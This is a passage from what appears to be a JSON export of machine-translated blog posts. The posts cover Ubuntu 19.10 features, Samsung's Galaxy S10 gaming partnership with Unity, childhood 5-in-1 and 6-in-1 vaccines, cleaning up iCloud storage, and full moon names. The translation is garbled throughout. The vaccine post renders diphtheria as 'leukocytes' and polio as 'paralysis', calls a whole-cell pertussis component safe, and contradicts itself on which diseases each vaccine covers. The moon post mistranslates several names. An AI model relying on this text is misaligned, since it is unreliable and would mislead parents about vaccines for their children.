means \"related to dawn or the east\", and Ermine is a cute little weasel (illustration below). Perhaps they live in the east? I will spend more time learning about this lovely animal later. The way of naming such code can also be considered a highlight to create an impression for Ubuntu.\n11 best Linux distributions for programmers   Ermine Mink - The mascot of Ubuntu 19.10\nNew changes and features will be released as planned The development process of Ubuntu 19.10 is still underway but new features and major changes have been planned before. Let's take a look at some noteworthy information.\nSince this is the last short-term release before the release of long-term support Ubuntu 20.04 was released, Ubuntu developers are likely to introduce major changes right away in the upcoming version of Ubuntu 19.10. . In this way, they can resolve any issues related to performance or usability before April next year (when Ubuntu 20.04 LTS is released).\nThe best video recording apps for Ubuntu The GNOME 3.34 desktop release in September will form the basis for the next Ubuntu version. As such, this update will most likely include new versions of core applications such as Nautilus, Evince and Calendar, and the recording tool will probably be 'overhauled'.\nDetails about what changes have been planned for Gnome 3.34 will appear more in the next month. We will update immediately in this article when there is the latest news.\nUbuntu has solved its new interface problems - Yaru, and in the upcoming version, it is hoped to see more but other important adjustments, especially around the icon system (icon ), Ubuntu Software, Software \u0026amp; Updates, and Software Updater, etc.\nWayland graphics mode is defaulted in Ubuntu 17.10 but to Ubuntu 19.04 it has been replaced by Xorg to be compatible with services like Skype, Google Hangouts, WebRTC, VNC and RDP services. And in the coming version of Ubuntu 19.10, Xorg will be further improved, and you will also be able to access this mode by navigating to Display\u0026gt; Scale setting (under System Settings).\nSome changes according to other plans:\nTheme support for Snap application Multi-monitor GDM (multi-monitor GDM) Integrate Nvidia driver on ISO Guest Session support right in the login screen The slideshow installer will be redesigned Fwupd is available as Snap Improved keyboard navigation Improved touch navigation capabilities GCC 9 Python 3.7 OpenJDK 11 Golang 1.12 One thing we can't find in Eoan Ermine is GSConnect by default.\nThe convenient Gnome extension lets you integrate Android phones with Ubuntu will no longer be included in version 19.10, although Windows 10 has recently added similar features.\n17 lightweight Linux distributions bring new life to old computers   Download Ubuntu 19.10 Daily Build Want to try the Eoan Ermine before the stable release appears in October? So, thanks to the Daily Build builds, this is absolutely possible.\nJust download, install, and then continue to install additional updates when they're released, and on October 17, you'll have the final full release.\nDownload Ubuntu 19.10 Daily Build (64-bit .iso)\nncG1vNJzZmismaXArq3KnmWcp51kwqPBza2sZmlpZn1uvs6am6aZoGKzsL6Mq5ylnZGosm55wKebZmWgoa6vusSdZJ%2BdkanCs7HS\n","link":"/post/roadmap-for-release-planned-features/","section":"post","tags":null,"title":"Roadmap for release \u0026amp; planned features"},{"body":"Samsung said it is partnering with the famous game publisher and publisher Unity Technologies to make games run smoother on the new Samsung Galaxy S10 smartphone, in other words advanced. gaming experience on this top smartphone.\nIn the Unpacked event in San Francisco this morning, Mr. Drew Blackard, Samsung's product marketing manager, confidently stated that 'Galaxy S10 is not just a much-equipped smartphone. Top technology, which is like a mini-computer, can fit in your pocket. \"Of course, this statement has a bit of melody and overconfidence, but not without. base, especially when Galaxy S10 is one of the most powerful smartphones in the market.\n  Samsung introduced Bixby Routines, AI technology that can learn habits and anticipate user needs By the way, also, along with the popularity of smartphones, the mobile gaming market has experienced strong growth in the past few years, and officially peaked last year when it became the gaming market. the world's largest. According to Newzoo market researcher, there were 63.2 billion dollars of revenue generated from this market in 2018.\nAs you know, Galaxy S10 is an Android smartphone with a price ranging from 750 to 1,000 USD and the configuration can compete fairly with Apple's latest smartphones. What makes this device more user-friendly is that it owns 6 to 12 gigabytes (depending on the version) of random access memory (RAM), which is equal or even more Most laptops are on the market. In addition, there is also a storage drive with a capacity of 1TB (can be expanded to 1.5TB via storage slot), allowing users to comfortably store today's most \"mobile\" titles.\nGoing back to the main issue, Mr. Blackard said Samsung is working closely with Unity - the publisher of nearly half of the mobile games available on the market, to improve the gaming experience on the Galaxy S10. , in a smoother and more seamless direction for heavy games, requires powerful graphics processing capabilities. According to a Korean manufacturer, Galaxy S10 has a central processor (CPU) 29% faster and a graphics processor (GPU) 37% faster than its predecessor S9. It is not clear whether the refresh rate (refresh rate) - a parameter also greatly affects the gaming experience - on the Galaxy S10 is 120Hz or 60Hz, but certainly will not be less than 60Hz (standard level), and the screen resolution is 1440 x 3040.\n  Samsung's newly released true wireless headset can do something important that AirPods can't In addition, Samsung also released the 5G version of Galaxy S10, with excellent connectivity that promises to provide network data transfer speeds 20 times faster than 4G networks, and a millisecond latency for Extremely high interactivity when playing online games. According to Mr. Blackard, 5G connection will also help support the gaming experience on the new cloud platform.\nWith such drastic changes, can Galaxy S10 become a game changer?\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWglr%2B1usSrnJ1lp57BqXnUp6CtsV2pvG6xzaGYp5uVYsGpsYygmKahnpx6psTPnqminZ6Ysm67zWaroZ1dnK6trdeyZKxpYA%3D%3D\n","link":"/post/samsung-partnered-with-unity-to-enhance-the-gaming-experience-on-the-galaxy-s10/","section":"post","tags":null,"title":"Samsung partnered with Unity to enhance the gaming experience on the Galaxy S10"},{"body":"Before giving the child for injection, many mothers wondered why it is necessary to inject, where to inject, the side effects are dangerous, 5 in 1 vaccine is better or 6 in 1 vaccine is better? So, in order to answer these questions, please join us to find out the information immediately below.\n10 common diseases in children in the fall, symptoms and prevention It is the parents' habits that affect the development of young children Simple way to prevent mosquito bites for young children Vaccine for children and what to know Vaccination purpose Things to know about Quinvaxem vaccine How do side effects affect health? Children who do not get the Quinvaxem vaccine  Things to know about Pentaxim and Infranrix service vaccines Injection schedule Order of vaccination of vaccines  What moms need to know when giving her vaccinations How to monitor and care for children after injection How to handle when your child has a fever after injection? During the injection process, what should be observed?  Vaccination purpose The purpose of the general vaccination to prevent 6 dangerous diseases in children is leukocytes, tetanus, pertussis, HiB, hepatitis B and polio . In particular, each vaccine has different ingredients.\nVaccines 5 in 1 of the expanded Vaccine Quinvaxem (parents take the baby to the local health station to inject) prevent 5 above diseases, except paralysis. Therefore, if the child is vaccinated, it will be supplemented with the oral vaccine to prevent polio.\n5-in-1 vaccines of Pentaxim services can prevent these 5 diseases, except for hepatitis B. Children need supplementation of single hepatitis B vaccine after Pentaxim injection.\nInfanrix hexa 6-in-1 vaccine can fully prevent these 6 diseases.\n  Things to know about Quinvaxem vaccine 5 in 1 vaccine (Quinvaxem vaccine), is a combination vaccine that prevents 5 important and potentially fatal or handicapped diseases such as diphtheria, whooping cough, tetanus, hepatitis B and Hib (inflammation lungs - Haemophyllus influenza type B pus meningitis, which is accredited by the World Health Organization.\nQuinvaxem has been selected by the World Health Organization in the vaccination program funded by the Global Alliance for Vaccines and Immunizations, used to vaccinate children in Asian countries and poor countries starting in 2006. Quinvaxem vaccine has been included in the expanded vaccination program in Vietnam since June 2010 in the context of foreign aid.\nIt can be said that this is a valuable vaccine source with a price suitable to poor countries, receiving aid for vaccines, hundreds of millions of children have been given free use of disease prevention.\n  There was also a series of Quinvaxem incidents when production in 2010 that WHO announced. Currently, WHO still recommends injecting the two vaccines that Vietnam is injecting for free.\nAccording to the recommendation of the World Health Organization, no vaccine is absolutely safe, the post-injection reaction of Quivaxem vaccines in particular and vaccines in general can range from mild, moderate and severe. Reactions may be systemic or at the site of vaccination and are specific to each vaccine, as well as reactions to other drugs or vaccines when given. However, severe reactions are very rare.\nIn Vietnam, 43 cases of reaction after vaccination after Quinvaxem were reported, which were evaluated by the World Health Organization experts, of which 9 were evaluated as related to vaccines on a total of 14 million injections. These 9 cases all recovered, the reaction manifestations include high fever, convulsions within 48 hours after vaccination; anaphylaxis; Muscle hypotonia syndrome and allergic reaction manifestations.\nIt is important to limit dangerous situations for children requiring strict adherence to professional guidelines, regulations in the production and preservation of vaccines, examination, counseling, immunization designation, practice safe vaccination, monitor the health of children after vaccination so as to be able to detect abnormalities soon after vaccination and timely treatment. Parents need to work closely with medical staff so that children are fully immunized, on schedule and safely.\n  How do side effects affect health? Most local and systemic reactions are mild and appear only within 2-3 days after vaccination such as:\nSwelling / redness / pain at the injection site. Mild fever below 38 degrees. Disturbing crying more annoying than usual. Eat / suck less. After vaccination, pay attention to children, breastfeed more often, feed when they are awake, do not put anything on the injection site. Monitoring closely the temperature of the child, when the fever fever needs to measure temperature, cool, use fever-reducing medicine for children as directed by medical staff.\nChildren who do not get the Quinvaxem vaccine Do not give Quinvaxem vaccines to children if there is a history of strong reactions to previous injections or strong reactions to diphtheria, whooping cough, tetanus (DPT) or hepatitis B vaccines such as:\n40ºC fever within 48 hours after vaccination. Shock within 48 hours after vaccination. Crying persists for more than 3 hours within 48 hours after vaccination. Seizures are accompanied by fever or no fever within 3 days after vaccination. Do not give injections to babies under 6 weeks of age because the vaccine may not be effective because of immunity from the mother. Delay the injection if the child is sick, fever or has acute illnesses.   Things to know about Pentaxim and Infranrix service vaccines In addition to the 5-in-1 vaccine originating from Korea, included in the EPI program (free injection for children under 1 year old at commune / ward / township clinics, in Hanoi and Ho Chi Minh City) another 5-in-1 vaccine originating from France (known as Pentaxim, diphtheria, tetanus, pertussis, Hib, polio) and a 6 in 1 vaccine (called Infranrix, preventing diphtheria, Whooping cough, tetanus, hepatitis B, polio, Hib) originated from Belgium.\nBoth types are not included in the EPI program but are used in service vaccination.\nThe most fundamental difference between two vaccines for service vaccination with the free vaccination vaccine (Quinvaxem vaccine) is in the component of preventing pertussis :\nVaccines 5 in 1 Quinvaxem of Korea with pertussis ingredients are all-cell vaccines, and French and Belgian vaccines are cell-free, so there is no body of pertussis bacteria but replaced by antigen peculiar, so will be more pure.\nProfessor Nguyen Tran Hien, Director of the National Institute of Hygiene and Epidemiology Mr. Hien said that many parents think of giving their children safer injecting services because it is actually imported vaccines. from Europe, refined ingredients or also cellless vaccines.\nThis vaccine is 10 times safer than the vaccine in the expanded vaccination program we are applying. It reduces unwanted effects after injection.\nIn Quinvaxem vaccine containing dead pertussis bacteria is purified and the reaction is usually caused by the protein in the bacteria (including fever, redness at the injection site, can be removed after 1-2 days, more severe than anaphylactic shock).\nRegarding the concern regarding the pertussis prevention component, he knew that, before putting Quinvaxem '5 in 1' into the Expanded Immunization program, the Ministry of Health had consulted and was told by the WHO that the vaccine This whole cell is still effective in preventing disease with acceptable hazard rates.\n  The 6 in 1 vaccine is called Infanrix hexa, in addition to preventing 5 important diseases at the same time as the 5 in 1 vaccine and preventing the sixth disease, polio. Includes: diphtheria, whooping cough, tetanus, hepatitis B and Hib (Haemophyllus influenza type B meningitis).\nA more special feature of Vaccine 6 in 1 is: Whooping cough component in vaccine 6 in 1 is a cell type, so it is safe, has less fever and less side effects than vaccines with pertussis ingredients. cell.\nInfanrix hexa vaccine has been used in Vietnam since 2006, helping to reduce the number of necessary injections from 9 to 3 to protect children from diseases that can be vaccinated. Infanrix hexa vaccine has been licensed to circulate in 70 countries around the world.\nIt must be confirmed that disease prevention is always better than cure. Vaccines are the most effective preventive measure to protect people who do not get sick and avoid major epidemics affecting human health and life. In addition, vaccination will prevent disease when exposed to patients.\nInjection schedule Three basic shots are given at least 28 days apart and the first shot is given at two months of age. The baby needs to be re-vaccinated for the fourth shot at 18 months (or more than 6 months from the 3rd shot) if he had previously received a 5-in-1 vaccination of expanded vaccination. The injection schedule may fluctuate with reality (children who are sick, out of medicine .), may be a little slower with the plan but should not be too late (wait for the service medication) because of the risk of getting sick before get enough dose. Vaccines containing 5 in 1 and 6 in 1 should not be given too early (before the baby is 2 months old or go earlier than the doctor's appointment), as the vaccine will be ineffective and must be re-injected.\n  Order of vaccination of vaccines Vaccines 5 in 1 and 6 in 1 can be exchanged interchangeably, but parents remember to add 6 preventive ingredients to the baby. Depending on the ingredients to compensate, make sure you have enough injections, enough distance between the injections. Parents need to record the full schedule of injections, injections so as not to compensate for excess or lack of preventive ingredients. When such an excess occurs, the parents will spend more work, more money (if the service is injected) and may cause side effects.\nWhat moms need to know when giving her vaccinations Can vaccination be delayed? And how long is delay?\nHaving your child vaccinated according to the deadline of the national vaccination schedule is always the best advice for parents. However, it is true that vaccination can delay. In fact, the number of babies vaccinated on the day is not much. If the child has not been vaccinated, the mother can give the baby back injections later. However, remember to not delay too long and ask your doctor as well as inform your baby about the specific time before the injection.\nWhat are the reactions to the child when vaccination is completed and how to prevent it?\nWhen giving the child for vaccination, she should pay attention to giving her child more water than usual, but also need to pay attention to measuring the body temperature. Common adverse reactions are fever, crying or swelling of the injection site.\nWhen should I not get injections?\nWhen the child's health is not guaranteed or problems such as colds, fever, eczema, rash, jaundice, . I should not take my child to vaccinate.\nIf the child has a fever for the first time, does the nose have a fever? Should the child be vaccinated?\nAs a parent, everyone is very worried, distressing when they have a fever, tired after injection. However, the mother should not give up her child. The fact that a child has a fever depends on many factors, so it is very possible that the first child has a fever but the second nose will not be feverish. In general, it is still necessary to get the child to get vaccinated.\n  How to monitor and care for children after injection After vaccination parents need to stay at the injection site and follow up within 30 minutes after the injection. Parents who take their children home should be aware that they should monitor their health continuously even when they are sleeping and at least for 1 day (24 hours).\nIf the child has abnormal signs after vaccination such as: high fever, convulsions, crying, prolonged crying, lethargy, breastfeeding, shortness of breath, cyanosis . immediately take the child to the hospital or facility Medical to be diagnosed and treated promptly.\nHow to handle when your child has a fever after injection? After vaccination a few hours or a day, some children may have a fever: fever is usually mild, but sometimes high fever (over 39 degrees Celsius), accompanied by fussing. The mother should let the child stay in a cool place, wear loose, comfortable clothes, cool the child with a damp towel but do not apply ice or cold water. You can give your child a fever-reducing medicine.\nWhat do I need to bring when I give my child vaccination?\nFor the mother to be vaccinated, it is important to bear in mind all the documents related to the previous vaccination of the child, the vaccination book, the medical examination book, and the nutrition book. Let your baby wear easy clothes. With toddlers, mothers can let them wear big T-shirts and loose pants.\nDuring the injection process, what should be observed? The mother should pay close attention\nCan my vaccine get the box from the refrigerator? Expiry date of vaccine, name and country of vaccine production. Is the reconstituted water tube and the medicine mixing procedure of the nurse performing? What to ask your doctor before leaving the clinic\nWhat side effects can your baby have? What should I do if my baby has these side effects? What signs are worrying? When is my child vaccinated next? Current vaccination recommendations for children\nFor the health of children, parents should:\nTake preventive measures for children to have the opportunity to get vaccinated on time. Take children to fully expand their immunization schedule, without delay. If the child has indicated a delay in the vaccination (due to illness or any other reason), contact the vaccination unit so that the child can continue vaccination. ncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmmJunpal6dnnIp2RqZaaWsKS1zZ6qZpmemXp3ecinZGplppawpLXNnqo%3D\n","link":"/post/things-to-know-about-5-in-1-vaccines-and-6-in-1-vaccines/","section":"post","tags":null,"title":"Things to know about 5 in 1 vaccines and 6 in 1 vaccines"},{"body":"By default, Apple provides 5GB of free storage for each iCloud user account to sync and store data on iOS devices. However, soon, you will receive a notification that the storage limit has been exhausted, when using iCloud to back up your device, photos, documents, iCloud email and other data types.\nIf you need more free space for iCloud to store more important types of data and don't want to pay any extra cost, here is how you can get back free storage for iCloud account. me\n1. Check iCloud storage capacity The first thing you have to do is check the storage capacity in your iCloud account on the device. From the Home screen, access the Settings \u0026gt; iCloud menu and click on the Storage \u0026amp; Backup item to see the total storage capacity and free space in your iCloud account.\n  2. Backup management By default, the iPad or iPhone will automatically back up the data of the applications installed on the device to the iCloud account of the user. This function will be performed automatically when the user charges and connects the phone to the Wi-Fi network. This ensures that all application data is fully backed up without any changes.\nTo know what types of data have been backed up in your iCloud account, go to Settings \u0026gt; iCloud \u0026gt; Storage \u0026amp; Backup menu\u0026gt; Manage Storage . This screen will let the user know how much% of iCloud storage space is used to back up the device ( iCloud only keeps the latest backup for each device ). To see more details about the types of data that have been backed up on the device, simply click on the device name under Backups .\n  Details of the backup capacity of the data types are displayed immediately below the Next Backup Size section of the Backup Options section . Thus, from here you will be able to determine exactly what kind of data is taking up most of the memory in your iCloud account, through which you can decide to disable backups of those applications in order to retrieve iCloud storage space.\nFor example, users can disable data backups of applications such as Pocket, Twitter and Evernote , as they will automatically sync online data to the device as soon as you log in. account. Or disable automatic photo backup function in Camera Roll , if you are using another solution to backup images. Once you disable any backup feature of an application under Backup Options , the application's data will also be deleted from the iCloud online store.\n  If disabling the data backup capabilities of the applications still does not solve the problem, you can go back to the Storage \u0026amp; Backup screen, then disable iCloud Backup . Thus the phone will not back up device data to iCloud account. In this case, you will have to use the backup solution via iTunes, create a backup of your phone's data on a Windows or Mac computer. However, this solution is not the best option that users expect.\n3. Back up photos to other places Undeniably, the image files on the phone are one of the main culprits occupying a lot of storage space on the device as well as on iCloud. By default, iOS 7 uses the Photo Stream feature to synchronize up to 1,000 of the most recent photos taken between all users' iOS devices, while also backing up the Camera Roll folder on the device, which includes all image files stored on the device.\nTo free up storage space for iCloud, you can disable Photo Stream from iCloud Settings screen by clicking on Photos on iCloud settings and then disabling My Photo Stream .\n  By installing one of the dedicated image storage applications such as Google+, Dropbox or Flickr , iOS device users can fully back up images automatically on their device to these storage services. Thus all images will be stored online, this will allow you to delete all the image files stored on iCloud, help retrieve the limited storage space of iCloud to store other important data types. when needed.\n  4. Delete unnecessary documents and data ICloud's Manager Storage screen also allows document and data management ( Document and Data ) to be backed up. This is the place to store the documents, settings, data of games as well as all other data types that iCloud has synced between all iOS devices ( if you have many different iOS devices and use the same iCloud account together . All are charged to your iCloud storage account, so delete any data that you no longer need to use.\n  By clicking on the name of any application right under the Documents \u0026amp; Data section on the Manage Storage screen, you can see the details of the data types taking up iCloud storage space. From there can delete them from iCloud storage account. But be careful when deleting this data, because it is possible to erase both documents and other important files you still need.\n5. Clean up email in iCloud Mail If you are using the Mail feature in Apple's iCloud, then of course the size of the emails you send and receive will also count towards the amount used on your iCloud account. Therefore deleting emails that are no longer needed will make an important contribution to freeing up storage space for iCloud, especially emails with large attachments.\nIf iCloud Mail is set up on the device, you can delete those emails via the Mail application on the device, if not set up, you can delete the emails via the iCloud website, then open the Mail application in the device. Browse and delete those emails.\n  Note that this only applies if you are using iCloud Mail. If you use a different email account like Gmail, Outlook.com, Yahoo . then deleting the email will not free up storage space in your iCloud account. Email for other services will not be stored in iCloud but they are stored with private email service.\n6. Manage iCloud storage space 6.1. How to see the storage package you are using? You can view iCloud storage package on iPhone, iPad, iPoud touch, Mac or PC computer:\n- On iPhone, iPad or iPod touch: press Settings =\u0026gt; iCloud =\u0026gt; Storage =\u0026gt; Manage Storage .\n- On Mac: select Menu Apple =\u0026gt; System Preferences , click iCloud then click Manage .\n- On PC: open iCloud for Windows, then click Manage.\nYou can download and install iCloud for Windows to your PC here.\n\n6.2. Upgrade iCloud storage package You can increase the storage capacity of iCloud on your iCloud, iPad, iPod, Mac or PC computer. However, you will have to pay for the capacity you purchase. Apple currently offers an additional 10GB of storage for $ 20 per year, 20GB for $ 40 per year or 50GB for $ 100 per year.\n- iPhone, iPad or iPod touch:\n1. If you are using iOS 8 or later versions of iOS 8, go to Settings =\u0026gt; iCloud =\u0026gt; Storage .\nIf you are using a newer iOS version, go to Settings =\u0026gt; iCloud =\u0026gt; Storage \u0026amp; Backup.\n2. Click Buy More Storage or Change Storage Plan.\n3. Select the capacity level, then click on Buy and enter your Apple ID password.\n- Mac:\n1. Select Menu Apple =\u0026gt; System Preferences , then click iCloud.\n2. Click on Manage in the bottom right corner.\n3. Click Buy More Storage or Change Storage Plan.\n4. Select capacity, then click Next then enter your Apple ID password.\n- On a PC:\n1. Open iCloud for Windows.\n2. Click on Storage.\n3. Click Change Storage Plan .\n4. Select the capacity level, then click Next .\n5. Enter your Apple ID password then click Buy.\n6.3. Downgrade iCloud storage package You can reduce iCloud storage to reduce costs by selecting an appropriate storage plan. Downgrade the capacity plan to take effect after the monthly or yearly subscription expires.\nIf you downgrade the storage and usage package to an extra capacity, you cannot upload new photos and videos to the iCloud image library and your device will stop backing up to iCloud. iCloud Drive and iCloud app do not allow updates on your device, so you cannot send or receive notifications with your iCloud email address.\nIf you want to use iCloud after using in excess of capacity, the only thing is to delete backup files, images, documents or unnecessary email messages on iCloud.\nYou can access photos, videos and documents in 30 days after you delete or disable iCloud and iCloud Drive libraries.\n- iPhone, iPad or iPod touch:\n1. If you are using iOS 8 or later versions of iOS 8, go to Settings =\u0026gt; iCloud =\u0026gt; Storage .\n2. Click Change Storage Plan .\n3. Click Downgrade Options and enter the Apple ID password.\n4. Select the downgrade package to use after the current storage package expires.\n5. Click Done.\n- On the Mac:\n1. Select Menu Apple =\u0026gt; System Preferences , then click iCloud .\n2. Click on Manage in the bottom right corner.\n3. Click Change Storage Plan in the bottom right corner.\n4. Click Downgrade Option s.\n5. Enter the Apple ID password, then click Manage.\n6. Select the downgrade package to use after the current storage package expires.\n7. Select Done.\n- On a PC:\n1. Open iCloud for Windows .\n2. Click on Storage.\n3. Click Change Storage Plan .\n4. Click Downgrade Options.\n5. Enter your Apple ID password then click Manage .\n6. Select the downgrade package to use after the current storage package expires.\n7. Select Done .\n7. Reduce the size of iCloud photo library The iCloud photo library uses iCloud storage to store all photos and videos on your device. To free up iCloud storage space, you should \"filter\" and \"delete\" unnecessary images and videos in the Photo app.\nIn addition to saving storage space on the device, you can set the option to Optimize device Storage in the settings. When Optimize Storage is turned on, the Photo application will automatically free up space when needed.\nAll images and original video resolution are in the 'safe' partition on iCloud and you can download images and videos at any time.\n- iPhone, iPad and iPod touch:\n1. Open the Photo app, then click Photos in the bottom corner of the screen.\n2. Click Select , then select one or more images and videos you want to delete.\n3. Click on the trash icon, then click Delete Photo .\n- On the Mac:\n1. Click on the Photo icon.\n2. Select the image and video you want to delete.\n3. Select Image then click Delete Photos .\n- iCloud.com:\n1. Log in to iCloud.com.\n2. Click on Photo app then click Select Photos .\n3. Select the image and video you want to delete.\n4. Click on the trash can icon and click Delete.\n8. Reduce image library size If you do not use iCloud photo library, the Camera Roll is a part of iCloud backup.\nTo check the size of the backup section on your iOS 8 device or previous iOS 8 versions, click Settings =\u0026gt; iCloud =\u0026gt; Storage =\u0026gt; Manage Storage.\nWith newer iOS versions: click Settings =\u0026gt; iCloud =\u0026gt; Storage \u0026amp; Backup =\u0026gt; Manage Storage.\nThen click on the name of your iOS device, the backup size is under the Photo Library section .\nTo reduce the size of the backup photo library, you can save images and videos on the device to your computer, then back up manually on your iOS device.\nAlso, if you want to store photos or videos on your iOS device, you can turn off the Photo Library option in the backup.\n9. iCloud Drive You can manage files stored on iCloud Drive on iPhone, iPad, iPod touch, Mac, or Windows PC computers.\n- iPhone, iPad, or iPod touch:\n1. Click Settings =\u0026gt; iCloud.\nIf you are using iOS 8 or iOS version before iOS 8, click Storage =\u0026gt; Manage Storage =\u0026gt; iCloud Drive .\nIf you are using newer iOS versions, click Storage \u0026amp; Backup , then select Manage Storage .\n2. Click to select the application name using iCloud Drive.\n3. At this time, the device appears in the application screen. You can swipe left or click Edit to delete these files.\n- Mac:\nOn Mac OS X Yosemite or earlier versions, you can manage iCloud Drive files by using the iCloud Drive folder on the Finder:\n1. Open iCloud Drive on Mac:\n- Go to Menu Apple =\u0026gt; System Preferences then click on iCloud.\n- Login with your Apple ID account.\n- Open iCloud Drive.\n2. Open Finder and access iCloud Drive folder.\n3. Drag the files to the recycle bin or move the files to another folder on the Mac.\n- Windows:\nIf you are using a Windows 7 computer or previous Windows versions, you can manage iCloud Drive files using Windows Explorer.\n1. Download and install iCloud for Windows.\n2. Log in with your Apple ID account.\n3. Open iCloud Drive.\n- iCloud.com:\nLog in to iCLoud.com, then select the iCloud Drive app and then select the files you want to delete, then click the trash can icon to finish.\nRefer to some of the following articles: Things to know when backing up with iCloud How to cancel unnecessary backups on iCloud Instructions for setting up iCloud email account for Android and Windows Phone Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksK2xwKdkrqhdqbxuvsSgmKKmXajBsL7AoJxmq6CWsKZ5xaipZqGToby2sA%3D%3D\n","link":"/post/clean-up-to-regain-storage-space-for-icloud/","section":"post","tags":null,"title":"Clean up to regain storage space for iCloud"},{"body":"Full Moon sign ( Full Moon ) once in each month is a time when we can clearly see things around. In culture and history, the full moon has another meaning, which is the change from month to month for a year.\nEvery Full Moon stirred our emotions and every Full Moon has different names and properties every month. Many names of Full Moon date from the time of the ancient tribes - those who rely on full moon periods to track crops and harvest. Each name of Full Moon is created by many different cultures around the world. Virtually all Full Moons have more than one name - including names that are more widely used than others.\nEvery month there will be a full moon - Full Moon In fact, one side of the Moon faces the planet, the other side is always in the dark. And in fact, most of the \" full moon \" time will not be completely round. Only when the moon, the Earth and the Sun lie in line, then the moon is 100% true and that alignment will appear eclipses . Sometimes - very rarely - there are two full moons in a month ( or four times in a season, depending on your observation ). This rare phenomenon appeared on May 21 this year.\nFull moon - Next Moon will be Moon The Harvest Moon will appear tomorrow - Friday 16 September. Meanwhile, Full Moon will be most visible at 3:05 pm local time ( 1905 GMT ), the moon will be the most circular in normal astrology one day and after the official day one day. Moon Plan is known as the \" Chrysanthemum Chrysanthemum \" in Chinese culture. Moon Plans that occur in September coincide with a \" half-moon eclipse \" ( penumbral lunar eclipse ) - that will be observed in Europe, Africa, Asia, Australia and the Western Pacific region.\nFull moon calendar 2016 Each country has a different culture, so the naming scheme for each period is different. These names are usually equal to the names of the events that occur during the month. The Farmer's Almanac list lists a few names and explains some of the changes in those names, but in general, these names are used in Algonquin tribes from the side. West New England ( New England ) to Upper Lake ( Lake Superior ). European settlers still keep their own customary practices, and also create some new names.\nBelow is the full moon calendar of 2016, according to NASA:\nJanuary 23: The Wolf Moon . The Wolf Moon happened at a time when we could hear the howl of hungry wolves in the middle of winter. February 22: The Snow Moon ( Moon Snow ). Moon Snow occurs in winter in February, when the snow is heaviest. This is also the time when hunting becomes difficult, so it is also known as Hunger Moon. March 23: The Worm Moon . The Deep Moon occurs when the temperature starts to increase and warms up, the ground becomes fresh, the earthworms start to reappear. Alternate name: Sap Moon ( Live Resin Moon ) or Crow Moon ( Raven Moon ). April 22: The Pink Moon ( Moon Hong ). Pink Moon is when wild flowers start to bloom in pink. Other names: Grass Moon (Grass Moon), Egg Moon ( Moon Egg ), or Fish Moon (Fish Moon). May 21: The Flower Moon . Flower Moon when countless flowers begin to bloom this month. Alternative names: The Corn Planting Moon ( Moon Growing Corn ) or Milk Moon ( Moon Milk ). June 20: The Strawberry Moon . The Strawberry Moon is the time when the Native American tribe Algonquin rushed to pick ripe berries. Alternate name: The Honey Moon, Rose Moon (Rose Rose), or Hot Moon (Hot Moon). July 20: The Buck Moon or Thunder Moon . The Moon Deer is when the deer begin to grow new horns. Alternate name: Thunder Moon ( Thunder or Thunder ) or Hay Moon ( Straw Moon ). August 21: The Sturgeon Moon . Sturgeon Moon is named based on the time when Native American tribes can catch fish easily. Alternative names: Green Corn Moon ( Moon Blue Corn ), Red Moon (Red Moon), Grain Moon (Grain Moon). September 16: Harvest Moon . The time of Full Moon is closest to Falling Fall and may occur in September or October, or Barley Moon ( Moon At Circuit ). October 16: The Hunter's Moon . The Hunter's Moon is the time when Native American tribes began hunting and hoarding food for the winter. November 14: The Beaver Moon ( Hai Ly Moon ). Named after time, when Native Americans trapped beavers before the water began to freeze, it was also the time when beavers began preparing for the winter. December 13: The Cold Moon ( Cold Moon ). December's moon is named after the middle of the winter, when it feels real cold and the night time becomes longer and darker. There is also the name Full Moon ( Full Moon ). Native Americans often call them by different names. In the book \" This Day in North American Indian History \" published by Da Capo in 2002, author Phil Konstantin listed more than 50 names. Native Americans and the name of the Full Moon phenomenon. Phil Konstantin also listed it on AmericanIndian.net personal website.\nAmateur astronomer Keith Cooley has a brief rundown of the names of the different moon names, which include Chinese and Celtic people on his website. For example:\nName the Chinese moon\nJanuary: Moon Holiday ( Holiday Moon ) February: The Falling Moon ( Budding Moon ) March: Sleepy Moon Saying ( Sleepy Moon ) April: Moon Peony ( Peony Moon ) May: Dragon Moon ( Dragon Moon ) June: Lost Moon ( Lotus Moon ) July: Hungry Ghost Moon ( Hungry Ghost Moon ) August: Moon Harvest ( Harvest Moon ) September: Taitung Moon ( Chrysanthemum Moon ) October: Loving Moon ( Kindly Moon ) November: White Moon ( White Moon ) December: Bitter Moon ( Bitter Moon ) They often name the moon according to the signs of the season, so Moon Harvest occurs at the end of the season - September and the Cold Moon ( Cold Moon ) to describe the cold in November.That's how the moon works in the northern hemisphere.\nIn the Southern hemisphere, where the seasons change, Harvest Moon usually occurs in March and Cold Moon is June. According to Earthsky.org, here are the common names used to call the moon south of the equator:\nJanuary : Straw Moon ( Or Moon ), Deer Moon ( Buck Moon ), Thunder Moon ( Thunder Moon ), Grass Moon ( Mead Moon ). February ( mid-summer ): Grain Moon , Moon Sturgeon ( Sturgeon Moon ), Red Moon ( Red Moon ), Corn Moon ( Corn Moon ). March : Moon Harvest ( Harvest Moon ), Corn Moon ( Corn Moon ). April : Moon Harvest ( Harvest Moon ), Hunter's Moon ( Hunter's Moon ), Blood Moon . May : Hunter's Moon ( Hunter's Moon ), Hai Ly Moon ( Beaver Moon) , Moon Moon ( Frost Moon ). June : Oak Moon ( Oak Moon ), Cold Moon ( Cold Moon ), Night's Moon ( Night's Moon ). July: Wolf Moon ( Wolf Moon ), Old Moon ( Old Moon ), Ice Moon ( Ice Moon ). August : Snow Moon ( Snow Moon ), Storm Moon ( Storm Moon) , Hungry Moon ( Hunger Moon ), Wolf Moon ( Wolf Moon ). September : Deep Moon ( Moon Worm ), Vegetarian Moon ( Lenten Moon ), Raven Moon ( Crow Moon ), Sugar Moon ( Sap Moon ), Sap Moon . October : Egg Moon ( Egg Moon ), Moon Fish ( Fish Moon ), Pink Moon ( Pink Moon ), Moon Walk ( Waking Moon ). November : Corn Moon , Moon Milk ( Milk Moon ), Moon Flower ( Flower Moon ). December : Strawberry Moon ( Strawberry Moon ), Honeymoon ( Honey Moon ), Moon Rose ( Rose Moon ). Different stages The moon has a spherical shape and the time to circumnavigate the Earth is 27.3 days . It also took 27 days for the Moon to rotate around its axis. So the moon often has the same sides, there is no separate \" dark side \" of the moon. When the moon revolves around Earth, it is illuminated from different angles of light from the sun. On average, the moon only appears about 50 minutes a day - meaning it can appear during the daytime and at other times at 